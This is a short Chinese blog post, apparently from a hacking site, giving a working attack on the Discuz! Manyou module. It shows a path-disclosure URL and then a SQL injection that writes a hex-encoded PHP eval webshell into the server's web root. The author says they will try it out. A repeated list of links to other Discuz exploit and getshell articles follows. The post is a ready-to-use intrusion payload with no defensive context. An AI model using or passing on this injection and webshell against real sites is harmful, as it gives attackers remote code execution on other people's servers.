/manyou/admincp.php?my_suffix=%0A%0DTOBY57 爆路径
然后直接getshell
userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23
------
刚刚从ypde blog上看到的，有空试试去。。。
只显示10条记录相关文章
Discuz!X2.5 Release 20120407 Getshell 0day (浏览: 22636, 评论: 0)
Discuz! X2.0 SQL注入漏洞 EXP (浏览: 22312, 评论: 0)
Discuz!NT 2.x – 3.5.2 (浏览: 16906, 评论: 0)
DiscuzX1-1.5 Sql 0day (浏览: 14461, 评论: 0)
discuz x1.5 discuz 7.2 后台getshell 0day通杀0day (浏览: 46375, 评论: 0)
DISCUZX1.5 本地文件包含漏洞 (浏览: 50182, 评论: 0)
DiscuzX1.5 门户管理权限SQL注入漏洞 (浏览: 23268, 评论: 0)
Discuz!后台怎么拿到Webshell (浏览: 15974, 评论: 0)
dz~~~~马后炮 (浏览: 10676, 评论: 0)
Discuz非创始人管理员代码执行 (浏览: 11778, 评论: 0)
Discuz! X2.0 SQL注入漏洞 EXP (浏览: 22312, 评论: 0)
Discuz!NT 2.x – 3.5.2 (浏览: 16906, 评论: 0)
DiscuzX1-1.5 Sql 0day (浏览: 14461, 评论: 0)
discuz x1.5 discuz 7.2 后台getshell 0day通杀0day (浏览: 46375, 评论: 0)
DISCUZX1.5 本地文件包含漏洞 (浏览: 50182, 评论: 0)
DiscuzX1.5 门户管理权限SQL注入漏洞 (浏览: 23268, 评论: 0)
Discuz!后台怎么拿到Webshell (浏览: 15974, 评论: 0)
dz~~~~马后炮 (浏览: 10676, 评论: 0)
Discuz非创始人管理员代码执行 (浏览: 11778, 评论: 0)
Trackbacks
 |
 |
 |
